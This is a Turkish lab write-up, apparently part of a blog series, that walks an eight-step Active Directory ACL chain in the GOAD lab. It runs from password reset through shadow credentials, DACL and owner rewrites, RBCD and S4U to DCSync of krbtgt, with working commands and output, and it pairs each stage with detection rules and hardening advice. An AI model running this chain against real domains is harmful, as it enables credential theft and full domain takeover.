Series · 4 partsAssessing Active DirectoryPart 3 · You are here
  1. 1GOAD Bölüm 1: Sıfır Kimlik Bilgisinden Saldırı Grafiğine
  2. 2GOAD Bölüm 2: NORTH Domain Controller'ını Ele Geçirmek
  3. 3GOAD Bölüm 3: ACL Zincirinde Orman Köküne TırmanmakYou are here
  4. 4GOAD Bölüm 4: Orman Güvenini Aşarak essos.local'i Ele Geçirmek

Alt etki alanından orman köküne

Bölüm 2 north.sevenkingdoms.local alt etki alanındaki DC02’nin tam denetimiyle sona ermişti. Bir alt etki alanını ele geçirmek, orman kökünü otomatik olarak ele geçirmek anlamına gelmez; ikisi bir güven ilişkisini paylaşan farklı etki alanlarıdır. Bu bölümde ana etki alanı sevenkingdoms.local’a geçiyor ve DC01 (kingslanding, 192.168.56.10) üzerinde Domain Admin yetkisiyle bitiriyoruz.

Burada herhangi bir yazılım açığı yok. Sıradan bir kullanıcı ile Domain Controller arasında duran tek şey, bir Erişim Denetim Listesi (ACL) hataları zinciridir: bir principal’ın bir sonraki nesne üzerinde tehlikeli bir hakka sahip olması. Bölüm 1 giriş noktasını zaten bulmuştu: SYSVOL içindeki bir SecureString değerinden çözülen tywin.lannister : powerkingftw135. BloodHound da ondan KINGSLANDING’e giden sekiz adımlı yolu çizmişti:

tywin.lannister'dan KINGSLANDING Domain Controller'a sekiz adımlı ACL zincirinin özet illüstrasyonu
Zincire genel bakış Adım adım yürüyeceğimiz yol: tywin → jaime → joffrey → tyron → Small Council → Dragonstone → Kingsguard → stannis → KINGSLANDING.

Orman kökü temel yapılandırması ve savunma duruşu

Resmi GOAD dokümantasyonu sevenkingdoms.local etki alanını birinci ormanın kökü olarak yapılandırır:

SunucuIPRolİşletim SistemiWindows DefenderSavunma Duruşu
DC01 (kingslanding)192.168.56.10Orman Kökü DC, Enterprise CA (AD CS), KDCWindows Server 2019Etkin (Enabled)Yalnızca bellek içi LDAP ACL güncellemeleri, Kerberos PKINIT ve DCSync işlemleri antivirüs uyarısı üretmez; tüm tespit doğrudan Windows Güvenlik Olay Günlüklerine dayanır.

Bu zincirdeki en önemli nokta şudur: her adım farklı bir haktır ve hak, kullanacağın tekniği belirler. Tek bir aracı sekiz kez çalıştırarak ilerleyemezsin. Bazı kenarlar sana temiz bir parola hash’i verir; bazıları yıkıcı bir parola sıfırlamasını zorunlu kılar; bazıları ise önce hedefin izinlerini yeniden yazmadıkça hiçbir şey vermez. Aşağıdaki tablo, çalışma boyunca açık tuttuğum haritadır:

#KenarHedefHak sana şunu sağlar…Kullanılan teknikWindows Event ID
1ForceChangePasswordjaime.lannisterparolayı sıfırla (başka bir şey değil)net rpc password4724 (Parola sıfırlama girişimi)
2GenericWritejoffrey.baratheonmsDS-KeyCredentialLink yazshadow credentials (certipy)5136 (msDS-KeyCredentialLink yazma)
3WriteDacltyron.lannisterkendine daha fazla hak veren bir ACE ekledacledit → shadow credentials4670 / 5136 (DACL yeniden yazma)
4AddSelfSmall Councilkendini gruba eklebloodyAD add groupMember4728 (Güvenlik grubuna üye eklendi)
5AddMemberDragonstoneherkesi gruba eklebloodyAD add groupMember4728 (Güvenlik grubuna üye eklendi)
6WriteOwnerKingsguardsahip ol → DACL’ini yeniden yazowneredit → dacledit → ekle4670 (Nesne sahibi değişti)
7GenericAllstannis.baratheonkullanıcının tam kontrolüshadow credentials (certipy)5136 (KeyCredential yazma)
8GenericAllKINGSLANDING$ (DC)DC nesnesinin tam kontrolüRBCD → S4U → DCSync4741 + 5136 + 4662 (DCSync)

Tablodaki her izin, kimlik doğrulamış herhangi bir kullanıcı tarafından LDAP üzerinden okunabilir. BloodHound’un hiçbir şeye dokunmadan yolu çizebilmesinin nedeni budur. Ben de her kenarı istismar etmeden önce impacket-dacledit -action read ile kabloda doğruladım. Bunu iki nedenle yaptım: hem hakkın gerçekten var olduğunu kanıtlamak hem de ACE tipinin hangi saldırıyı mümkün kıldığını görmek. Çünkü aynı görünen iki izin, örneğin WriteDacl ile GenericWrite, tamamen farklı kapılar açar.

Bu tabloyu ezberlemek yerine bir karar ağacı gibi kullanmanı öneririm. Elindeki ACE’e bakıp doğrudan “hangi aracı çalıştırayım?” diye sormak yerine, “bu hak bana hangi ilkel yeteneği veriyor?” diye sor. ForceChangePassword bir parola yazma yeteneğidir, WriteDacl bir izin yazma yeteneğidir, WriteOwner ise dolaylı olarak izin yazma yeteneğine dönüşür. Aracı bu sorunun cevabı seçer; böylece elindeki araç listesi değil, hakların mantığı yönlendirir.

Zinciri çizmeye değer kılan şey, bunun aynı katmanda bir gezinti olmamasıdır. Microsoft’un katmanlama modelinin tamamını keser: altta dört standart kullanıcı, ortada bir dizi köprü grubu ve delege edilmiş bir kullanıcı, en üstte orman kökü Domain Controller. “Sekiz adım” aslında tek bir büyük sınırı geçen sekiz küçük adımdır. Bu yüzden zincir, tek tek izinlerden çok, bir güvenlik sınırının nasıl aşındığını gösterir.

ACL ZİNCİRİ KATMAN SINIRINI AŞAR TIER 0 · ORMAN KÖKÜ KINGSLANDING$ (DC01) — Domain Admin, DCSync TIER 1 · KÖPRÜ GRUPLARI Small Council → Dragonstone → Kingsguard → stannis.baratheon TIER 2 · STANDART KULLANICILAR tywin → jaime → joffrey → tyron
Sekiz adım bir katman tırmanışı olarak: dört standart kullanıcı (Tier 2) bir dizi grup üyeliğine (Tier 1) dönüşür ve orman kökü DC'de (Tier 0) Domain Admin olarak biter. Zincir bir sınır geçişidir; aynı katmanda bir yürüyüş değildir.

[!NOTE] Neden Domain Admin’leri doğrudan hedeflemek yerine sekiz adımlı ACL zincirini yürüyoruz? Resmi GOAD tasarımında ayrıcalıklı hesaplar üzerinde belirli sıkılaştırma kısıtları devrededir:

  • robert.baratheon (Domain Admin), Protected Users grubuna dahildir; bu nedenle NTLM hash’i bellekte önbelleğe alınmaz, Kerberos delegasyonu engellenir ve yalnızca AES şifreleme zorunlu tutulur.
  • renly.baratheon, Hesap hassastır ve devredilemez (cannot be delegated) bayrağıyla korunur.
  • Doğrudan Tier 0 hesaplarını ele geçirme yolları bu politikalarla kapatıldığı için Small Council, Dragonstone ve Kingsguard üzerinden uzanan ACL çizgesi, orman kökünü ele geçirmek için tasarlanmış tek mimari yoldur.

BloodHound Cypher: En kısa yolu ve replikasyon haklarını çizmek

LDAP nesnelerini tek tek sorgulamak yerine BloodHound çizge sorguları hedefe giden en kısa saldırı yolunu ve etki alanındaki replikasyon haklarını (DCSync) tek hamlede döker:

// 1. tywin.lannister'dan KINGSLANDING Domain Controller'a en kisa yol
MATCH p=shortestPath((u:User {name: '[email protected]'})-[*1..]->(c:Computer {name: 'DC01.SEVENKINGDOMS.LOCAL'}))
RETURN p

// 2. Etki alaninda GetChanges / GetChangesAll hakki tasiyan principal'lar
MATCH (n)-[r:GetChanges|GetChangesAll]->(d:Domain)
RETURN n.name AS Principal, type(r) AS ReplicationRight, d.name AS Domain

Adımlar 1–3: parola sıfırlamadan iki temiz hash’e

tywin.lannister, jaime.lannister üzerinde tam olarak tek bir hakka sahiptir ve ACE’i okumak bu hakkın sınırını açıkça gösterir:

$ impacket-dacledit -action read -principal tywin.lannister -target jaime.lannister \
    'sevenkingdoms.local/tywin.lannister:powerkingftw135' -dc-ip 192.168.56.10
[*]   ACE[0] info
[*]     ACE Type       : ACCESS_ALLOWED_OBJECT_ACE
[*]     Access mask    : ControlAccess (0x100)
[*]     Object type    : User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
[*]     Trustee (SID)  : tywin.lannister

ForceChangePassword tek bir extended right’tır. Sana msDS-KeyCredentialLink yazma, SPN belirleme ya da herhangi bir şey okuma izni vermez. Tek hamle, jaime’nin parolasını eskisini bilmeden üzerine yazmaktır:

$ net rpc password jaime.lannister 'Jankesec2026!' \
    -U 'sevenkingdoms.local/tywin.lannister%powerkingftw135' -S 192.168.56.10
$ nxc smb 192.168.56.10 -u jaime.lannister -p 'Jankesec2026!' -d sevenkingdoms.local
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\jaime.lannister:Jankesec2026!

Bu, zincirin gürültülü ve yıkıcı adımıdır ve neden böyle olduğu üzerinde durmaya değer. Gerçek bir denetimde canlı bir kullanıcının parolasını sıfırlamak o kişiyi sistemden kilitler ve dakikalar içinde yardım masasında bir bilet açılmasına yol açar. Bu, tüm zincirdeki en gürültülü tek hareket olabilir. Sessiz bir alternatif yoktur, çünkü kenar tipi başka bir şey sunmaz. ForceChangePassword görüp yanında başka bir hak yoksa ya bu gürültüyü kabul edersin ya da başka bir yol ararsın. Rapor yazarken de bu adımı en yüksek sesle işaretlemenin nedeni budur: geri alınamaz bir değişiklik bırakır. Bu hak aynı zamanda hedefin eski parolasını bilmeyi gerektirmez; bu yüzden yardım masası ekiplerine verilen geniş sıfırlama yetkileri, farkında olunmadan bir saldırı yolunun ilk kenarı hâline gelebilir.

ActiveDirectory PowerShell modülünün yüklü olduğu kimliği doğrulanmış bir Windows oturumunda bu sıfırlama işlemi şu komuta karşılık gelir:

# Eski parolayi bilmeden dogrudan PowerShell ile parola sifirlama
Set-ADAccountPassword jaime.lannister -Reset -NewPassword (ConvertTo-SecureString 'Jankesec2026!' -AsPlainText -Force)

jaime.lannister ise joffrey.baratheon üzerinde GenericWrite tutar; bu tamamen farklı bir hikâyedir:

$ impacket-dacledit -action read -principal jaime.lannister -target joffrey.baratheon \
    'sevenkingdoms.local/jaime.lannister:Jankesec2026!' -dc-ip 192.168.56.10
[*]     Access mask    : ReadControl, WriteProperties, Self (0x20028)
[*]     Trustee (SID)  : jaime.lannister

GenericWrite, msDS-KeyCredentialLink yazma hakkını içerir ve shadow credentials saldırısının temeli tam olarak budur: hedefe sertifika destekli bir anahtar ekle, onun kimliğiyle PKINIT üzerinden kimlik doğrula ve NT hash’ini kurtar; üstelik parolasını değiştirmeden. sevenkingdoms.local, kingslanding üzerinde AD CS çalıştırdığı için PKINIT kullanılabilir ve certipy shadow auto tüm akışı yürütüp hesabı bulduğu gibi geri bırakır:

$ certipy-ad shadow auto -u [email protected] -p 'Jankesec2026!' \
    -account joffrey.baratheon -dc-ip 192.168.56.10
[*] Adding Key Credential with device ID '4061...' to 'joffrey.baratheon'
[*] Authenticating as 'joffrey.baratheon' with the certificate
[*] Got TGT
[*] Restoring the old Key Credentials for 'joffrey.baratheon'
[*] NT hash for 'joffrey.baratheon': 3b60abbc25770511334b3829866b08f1

Bu etki alanında AD CS olmasaydı shadow credentials bir seçenek olmazdı ve GenericWrite için yedek yol hedefli Kerberoasting olurdu: joffrey’e bir SPN yaz, bilet iste ve kır. Ancak bu yalnızca joffrey’nin parolası zayıfsa çalışır. Shadow credentials yolu parolanın gücünü hiç umursamaz; bu yüzden hak izin verdiğinde ilk başvurulacak yöntemdir. Aradaki fark, saldırganın hedefin parola politikasına bağımlı olup olmamasıdır. Bu yüzden bir ortamda işe yarayan teknik, başka bir ortamda hiçbir sonuç vermeyebilir; keşif çıktısını bu değişkenle birlikte okumak gerekir.

Bir Windows sunucusundan aynı KeyCredentialLink enjeksiyonu C# araçlarıyla gerçekleştirilebilir:

# Windows ve C# esdegeri (Whiskey / PKINITtools)
Whiskey.exe --target joffrey.baratheon --domain sevenkingdoms.local --action add

Üçüncü adım, sana tek başına hiçbir şey vermeyen bir hakkın nasıl göründüğünü gösterir. joffrey.baratheon, tyron.lannister üzerinde WriteDacl’a sahiptir:

$ impacket-dacledit -action read -principal joffrey.baratheon -target tyron.lannister \
    -hashes :3b60abbc25770511334b3829866b08f1 'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*]     Access mask    : WriteDACL (0x40000)
[*]     Trustee (SID)  : joffrey.baratheon

WriteDacl, hedefin izinlerini yeniden yazma yetkisidir. Bu yüzden hamle iki adımlıdır: önce kendine tam kontrol ver, sonra o hakkı istismar et. dacledit orijinal DACL’i yedekler, böylece değişiklik geri alınabilir. Bu, bir denetim sırasında geri dönüş planı olmadan ilerlememen gerektiğinin de iyi bir örneğidir:

$ impacket-dacledit -action write -rights FullControl -principal joffrey.baratheon \
    -target tyron.lannister -hashes :3b60abbc25770511334b3829866b08f1 \
    'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*] DACL backed up to dacledit-20261103-201748.bak
[*] DACL modified successfully!

$ certipy-ad shadow auto -u [email protected] \
    -hashes :3b60abbc25770511334b3829866b08f1 -account tyron.lannister -dc-ip 192.168.56.10
[*] NT hash for 'tyron.lannister': b3b3717f7d51b37fb325f7e7d048e998

PowerView ile Windows üzerinde DACL yeniden yazma adımı doğrudan şu komutla işletilir:

# PowerView: tyron.lannister uzerinde FullControl hakki tanima
Add-DomainObjectAcl -TargetIdentity tyron.lannister -PrincipalIdentity joffrey.baratheon -Rights All

Tespit: Shadow credentials yazmaları msDS-KeyCredentialLink üzerinde Event ID 5136; DACL yeniden yazmaları nTSecurityDescriptor üzerinde 5136; parola sıfırlaması ise 4724/4738 olarak düşer. En yüksek değerli sinyal, cihaz anahtarı tutması gerekmeyen bir hesapta msDS-KeyCredentialLink özniteliğine yapılan herhangi bir yazmadır. Kontrol: Yönetici olmayanların diğer kullanıcılar üzerinde GenericWrite/WriteDacl/GenericAll tutmaması için nesne ACL’lerini buda; ayrıcalıklı hesapları Protected Users grubuna al ve AD CS’yi sıkılaştır. Yaslanacak bir CA yoksa shadow credentials da ölür.

Adımlar 4–6: grup yığınını tırmanmak

Sonraki üç kenar grup izinleridir ve üyelik üzerinden birbirine bağlanır: bir gruba girdiğinde onun giden haklarını miras alırsın. tyron.lannister, Small Council üzerinde AddSelf hakkına sahiptir; yani yalnızca kendi kendini üye yapabilir, başka hiçbir şey yapamaz:

$ impacket-dacledit -action read -principal tyron.lannister -target 'Small Council' ...
[*]     Access mask    : Self (0x8)
[*]     Object type    : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)

$ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u tyron.lannister \
    -p :b3b3717f7d51b37fb325f7e7d048e998 add groupMember 'Small Council' tyron.lannister
[+] tyron.lannister added to Small Council

AddSelf yalnızca kendini eklemene izin verir, başka kimseyi değil. Bu ayrım önemlidir: elinde AddSelf varsa grubu kendi hesabınla büyütebilirsin, ama başka bir kullanıcıyı içeri sokamazsın. Small Council ise Dragonstone üzerinde AddMember tutar. Bu, member özniteliği üzerinde bir WriteProperty hakkıdır ve daha güçlü “herkesi ekle” sürümüdür. Şimdi tyron olarak (bir Small Council üyesi) onu Dragonstone’a da ekleyebiliriz:

$ impacket-dacledit -action read -principal 'Small Council' -target 'Dragonstone' ...
[*]     Access mask    : WriteProperty (0x20)
[*]     Object type    : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)

$ bloodyAD ... add groupMember 'Dragonstone' tyron.lannister
[+] tyron.lannister added to Dragonstone

Burada insanları yanıltan bir incelik var: Windows’ta yeni bir grup üyeliği yalnızca taze bir oturum açma sonrasında etkin olur, çünkü grup SID’leri Kerberos biletine gömülüdür. Ancak bu araçlar her seferinde taze bir NTLM bind ile kimlik doğrular ve DC grup üyeliğini bind anında değerlendirir. Yani tyron’un yepyeni Small Council üyeliği bir sonraki komutta zaten canlıdır. Yeniden oturum açmak yok, bilet cambazlığı yok. Bu ayrımı bilmek, gerçek bir ortamda “grup üyeliği neden hemen işe yaramadı?” sorusunun cevabını da verir. Kerberos biletiyle çalışan bir istemci, yeni üyeliği ancak yeni bir TGT aldığında görür; NTLM bind’i ise üyeliği her seferinde dizinden yeniden okur. Zincirdeki araçların çoğu ikinci yolu kullandığı için adımlar arasında bekleme gerekmez.

Dragonstone, Kingsguard üzerinde WriteOwner’a sahiptir; bu, zincirin en dolambaçlı kenarıdır. Bir nesnenin sahibi olmak tek başına üye eklemene izin vermez, ama herhangi bir AD nesnesinin sahibi örtük olarak WriteDacl tutar. Yani sıra şudur: sahipliği al, o örtük WriteDacl ile kendine WriteMembers ver, sonra kendini gruba ekle. Üç ayrı araç gibi görünen bu akış, aslında tek bir mantıksal hakkın parçalara ayrılmış hâlidir:

$ impacket-dacledit -action read -principal 'Dragonstone' -target 'Kingsguard' ...
[*]     Access mask    : WriteOwner (0x80000)

$ impacket-owneredit -action write -new-owner tyron.lannister -target 'Kingsguard' ...
[*] OwnerSid modified successfully!
$ impacket-dacledit -action write -rights WriteMembers -principal tyron.lannister -target 'Kingsguard' ...
[*] DACL modified successfully!
$ bloodyAD ... add groupMember 'Kingsguard' tyron.lannister
[+] tyron.lannister added to Kingsguard

Bu grup yükseltme zincirinin tamamını PowerShell ve PowerView ile yerel olarak işletmek:

# tyron.lannister'i Small Council ve Dragonstone gruplarina ekleme
Add-ADGroupMember -Identity "Small Council" -Members tyron.lannister
Add-ADGroupMember -Identity "Dragonstone" -Members tyron.lannister

# Kingsguard sahipligini alma, WriteMembers izni yazma ve gruba katilma
Set-DomainObjectOwner -Identity "Kingsguard" -OwnerIdentity tyron.lannister
Add-DomainObjectAcl -TargetIdentity "Kingsguard" -PrincipalIdentity tyron.lannister -Rights WriteMembers
Add-ADGroupMember -Identity "Kingsguard" -Members tyron.lannister

Tespit: Grup üyeliği değişiklikleri Event ID 4728/4732/4756; sahiplik değişiklikleri ve ardından gelen DACL düzenlemesi ise 5136 olarak görünür. Ayrıcalıklı bir grupta bir sahip değişikliğini hemen aynı nesnedeki bir izin değişikliğinin izlemesi, bu istismarın neredeyse kusursuz bir imzasıdır. Kontrol: Gruplar üzerindeki ACL’leri grup üyeliğinin kendisi kadar ciddiye al; ayrıcalıklı bir grup üzerindeki WriteOwner, WriteDacl ve AddMember haklarının her biri üyeliğe eşdeğerdir. Bir sapmış kenarın Tier 0’a kaskad yapmaması için iç içe grupları düzleştir.

Adımlar 7–8: Domain Controller’ı almak

Kingsguard üyeliği, stannis.baratheon üzerinde GenericAll verir; yani bir kullanıcının tam kontrolü. Bir kez daha shadow credentials:

$ impacket-dacledit -action read -principal 'Kingsguard' -target stannis.baratheon ...
[*]     Access mask    : FullControl (0xf01ff)

$ certipy-ad shadow auto -u [email protected] \
    -hashes :b3b3717f7d51b37fb325f7e7d048e998 -account stannis.baratheon -dc-ip 192.168.56.10
[*] NT hash for 'stannis.baratheon': d75b9fdf23c0d9a6549cff9ed6e489cd

Ve zincirin meyvesini verdiği yer tam olarak stannis.baratheon’dur: Domain Controller’ın kendi bilgisayar nesnesi KINGSLANDING$ üzerinde GenericAll hakkına sahiptir. Bir DC’nin bilgisayar hesabının tam kontrolü, DC’nin tam kontrolüdür. Klasik teknik Resource-Based Constrained Delegation (RBCD)‘dir ve delege edeceğin bir bilgisayar hesabını kontrol etmeni gerektirir. Bu yüzden ilk soru, etki alanının böyle bir hesap oluşturmama izin verip vermeyeceğidir:

$ bloodyAD ... get object 'DC=sevenkingdoms,DC=local' --attr ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota: 10

MachineAccountQuota = 10 — varsayılan değer ve RBCD için yeterli. (0 olsaydı bu adım, doğrudan KINGSLANDING$ üzerine bir shadow credential yazıp makine hesabı olarak kimlik doğrulamaya düşerdi; o yol kotaya bağışıklıdır.) Kotamız varken bir bilgisayar hesabı oluşturur, DC’nin msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğini ona yöneltir ve S4U2Self/S4U2Proxy ile DC’ye Administrator olarak bir bilet üretiriz. Mekanik kısaca şöyledir: S4U2Self ile jankesec$, kendi adına bir kullanıcı için servis bileti alır; S4U2Proxy ise bu bileti, KINGSLANDING$ üzerinde RBCD ile güvenilen bir servise devretmek için kullanır. DC, jankesec$’e bu yetkiyi verdiği için sonuçta cifs/kingslanding için Administrator kimliğini taşıyan bir bilet ortaya çıkar. Yani zincirin son halkası, tek bir öznitelik yazımıyla DC’nin kendi delegasyon mantığını kendi aleyhine çevirmektir.

DC NESNESİ ÜZERİNDE GENERICALL → RBCD → DOMAIN ADMIN stannis.baratheon GenericAll → DC$ 1 · bilgisayar ekle jankesec$ (MAQ=10) 2 · KINGSLANDING$ üzerine RBCD yaz msDS-AllowedToActOnBehalfOfOtherIdentity 3 · jankesec$ olarak S4U2Self + S4U2Proxy cifs/kingslanding → Administrator kimliğine bürün 4 · KINGSLANDING'den DCSync (DC01) krbtgt + Administrator hash'leri Administrator bileti → replikasyon hakları → sevenkingdoms.local'deki her sır
Zirve: Domain Controller'ın bilgisayar nesnesi üzerindeki GenericAll, RBCD ve sahte bir Administrator servis bileti üzerinden Domain Admin'e dönüşür.
$ impacket-addcomputer -computer-name 'jankesec$' -computer-pass 'Jankesec2026Comp!' \
    'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Successfully added machine account jankesec$

$ impacket-rbcd -delegate-from 'jankesec$' -delegate-to 'KINGSLANDING$' -action write \
    'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Delegation rights modified successfully!

$ impacket-getST -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator \
    'sevenkingdoms.local/jankesec$:Jankesec2026Comp!' -dc-ip 192.168.56.10
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

Bu biletle secretsdump orman kökünü DCSync edebilir; ancak ilk deneme başarısız oldu ve bu başarısızlık öğretici:

$ export KRB5CCNAME=Administrator@[email protected]
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user krbtgt
[-] ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name.

krbtgt ormanın her etki alanında bulunur, bu yüzden nitelenmemiş bir isim belirsizdir. İsmi NetBIOS etki alanıyla nitelemek sorunu hemen çözer, çünkü DC artık hangi dizin bölümünde arama yapacağını bilir:

$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/krbtgt'
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72765225164f1b6542a3b0464aad363a:::
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/Administrator'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::

$ nxc smb 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -d sevenkingdoms.local
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\Administrator:c66d72... (Pwn3d!)

Windows ve PowerShell araç eşdeğerleri (PowerView ve Mimikatz)

Windows uç noktalarında makine hesabı oluşturma, RBCD güvenlik tanımlayıcısı yazma ve DCSync replikasyonu yerel araçlarla doğrudan yürütülebilir:

# 1. Bilgisayar hesabi olusturma ve PowerView ile msDS-AllowedToActOnBehalfOfOtherIdentity yazma
New-MachineAccount -MachineAccount jankesec -Password (ConvertTo-SecureString 'Jankesec2026Comp!' -AsPlainText -Force)
$RawSecurityDescriptor = (Get-Acl "AD:\CN=jankesec,CN=Computers,DC=sevenkingdoms,DC=local").sddl
Set-DomainObject -Identity "KINGSLANDING$" -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $RawSecurityDescriptor}

# 2. Mimikatz ile dogrudan Domain Controller uzerinde DCSync calistirma
mimikatz.exe "lsadump::dcsync /domain:sevenkingdoms.local /user:SEVENKINGDOMS\krbtgt" "exit"

Elimizdeki krbtgt hash’i, tüm sevenkingdoms.local etki alanı için bir Golden Ticket’ın anahtarıdır ve Pwn3d! çıktısı orman kökünde Domain Admin’i doğrular. Sekiz okunabilir izin, bir kurtarılan parola, sıfır yazılım açığı. Zincirin tamamı, meşru Windows özelliklerinin yanlış verilmiş izinlerle birleşmesinden oluşuyor. Buradan çıkarılacak ders, tek bir “kritik zafiyet” aramak yerine izin grafiğini bütün olarak okumaktır: her kenar tek başına önemsiz görünebilir, ama birleştiklerinde orman köküne ulaşan bir yol oluştururlar. Savunma tarafı için de aynı mantık geçerlidir; tek tek olaylara değil, zincirin tamamına bakmak gerekir. MachineAccountQuota gibi “zararsız” görünen varsayılanlar, bu zincirde son halkayı mümkün kılan şeydir.

Tespit: Bilgisayar oluşturma Event ID 4741; RBCD yazması msDS-AllowedToActOnBehalfOfOtherIdentity üzerinde 5136; S4U değişimi TransitedServices alanı dolu 4769 biletleri olarak görünür. DCSync ise bir Domain Controller olmayan kaynaktan gelen 4662 replikasyon erişimidir (DS-Replication-Get-Changes) ve AD’deki en net “oyun bitti” alarmıdır. Kontrol: Sıradan kullanıcıların RBCD’nin ihtiyaç duyduğu bilgisayarı oluşturamaması için MachineAccountQuota değerini 0 yap; msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğini kimin yazabileceğini kısıtla; Domain Admin’leri Protected Users grubuna alıp sensitive/non-delegable olarak işaretle ve DC olmayan kaynak hostlardan gelen replikasyon isteklerine alarm ver.

Savunma telemetrisi ve SIEM tespit kuralları

Bu ACL zinciri boyunca gerçekleşen hareketleri avlamak, SIEM platformlarında LDAP yazma olaylarına ve dizin replikasyonuna odaklanan korelasyon kuralları gerektirir:

1. Splunk: DCSync Replikasyon İstismarı (Event ID 4662)

Makine hesabı olmayan veya güvenilmeyen sistemlerden gelen dizin eşitleme taleplerini (DS-Replication-Get-Changes GUID {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} veya DS-Replication-Get-Changes-All GUID {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}) tespit eder:

index=wineventlog EventCode=4662 ObjectType="domainDNS"
| search AccessMask="0x100" AND (Properties="*{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}*" OR Properties="*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*")
| search NOT (SubjectUserName="*$" OR SubjectUserName="MSOL_*")
| table _time, SubjectUserName, ComputerName, ObjectName, AccessMask, Properties

2. Splunk: Shadow Credentials Anahtar Bağlantısı Yazımı (Event ID 5136)

Certipy veya Whiskey gibi araçların sertifika destekli parolasız kimlik doğrulama eklemek amacıyla msDS-KeyCredentialLink özniteliğine yaptığı yazmaları yakalar:

index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-KeyCredentialLink" OperationType="%%14674"
| table _time, SubjectUserName, ObjectDN, AttributeValue

3. Splunk: Domain Controller Üzerinde RBCD Değişikliği (Event ID 5136)

Domain Controller bilgisayar nesnelerinde msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğine yapılan yetkisiz değişiklikleri belirler:

index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| search ObjectDN="*OU=Domain Controllers,DC=*"
| table _time, SubjectUserName, ObjectDN, OperationType

4. Sigma kural kesiti: DC dışı hesapla dizin replikasyonu

title: DC Olmayan Hesap Tarafindan Supheli DCSync Replikasyonu
status: experimental
description: domainDNS nesnesini hedef alan dizin replikasyon haklarinin istismarini tespit eder
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'domainDNS'
  rights:
    AccessList|contains:
      - '{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}'
      - '{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}'
  filter:
    SubjectUserName|endswith: '$'
  condition: selection and rights and not filter
falsepositives:
  - Mesru Active Directory senkronizasyon araclari (ornegin Entra Connect / Azure AD Sync)
level: critical

Temizlik

Bu zincirin yarısı canlı dizin durumunu değiştirdi ve profesyonel bir denetim, geri alabildiğini geri alır. dacledit ve owneredit adımlarının her biri orijinal güvenlik tanımlayıcısının bir .bak dosyasını yazdı; bu yüzden tyron üzerindeki DACL ile Kingsguard üzerindeki sahip/DACL bu yedeklerden geri yüklenebilir. RBCD özniteliği doğrudan DC’den temizlenir ve sahte bilgisayar hesabı kaldırılmalıdır:

$ impacket-rbcd -delegate-to 'KINGSLANDING$' -action flush 'sevenkingdoms.local/stannis.baratheon' -hashes :d75b...
[*] Delegation rights flushed successfully!

Yol boyunca eklenen grup üyelikleri de (tyron’un Small Council, Dragonstone ve Kingsguard üyelikleri) kaldırılmalıdır. Geri alamayacağın tek şey 1. adımdır: jaime.lannister’in orijinal parolası artık yoktur. ForceChangePassword’ün raporda en yüksek sesle işaretlenmesi gereken adım olmasının nedeni tam da budur; diğer değişiklikler geri alınabilir, ama parola sıfırlaması kullanıcıya ve denetim izine kalıcı olarak yansır. Temizliği eksik bırakmak, laboratuvar dışında gerçek kullanıcıları kilitleyebilecek ve sonraki denetimleri kirletebilecek bir alışkanlıktır; bu yüzden her yıkıcı adımı, geri alma komutuyla birlikte not et.

Bulguların özeti

BulguKenar → hedefEtkiDoğrula (Kali’den)Kontrol
Bir kullanıcı üzerinde ForceChangePasswordtywin → jaimeHesap ele geçirme (yıkıcı sıfırlama)impacket-dacledit -action readYönetici olmayan sıfırlama haklarını kaldır; Protected Users
Bir kullanıcı üzerinde GenericWrite/GenericAlljaime → joffrey, Kingsguard → stannisShadow credentials → NT hash, sıfırlama yokcertipy-ad shadow auto -account <u>AD CS / PKINIT’i sıkılaştır; msDS-KeyCredentialLink’i kısıtla
Bir kullanıcı üzerinde WriteDacljoffrey → tyronKendine tam kontrol ver, sonra ele geçirimpacket-dacledit -action write -rights FullControlnTSecurityDescriptor üzerinde 5136’yı denetle
Bir grupta AddSelf / AddMembertyron → Small Council → DragonstoneGrubun giden haklarını miras albloodyAD add groupMemberGrup ACL’lerini üyelik olarak ele al; yuvalamayı düzleştir
Bir grupta WriteOwnerDragonstone → KingsguardSahip ol → örtük WriteDacl → katılimpacket-owneredit + dacleditAyrıcalıklı gruplarda sahip değişikliklerini kilitle
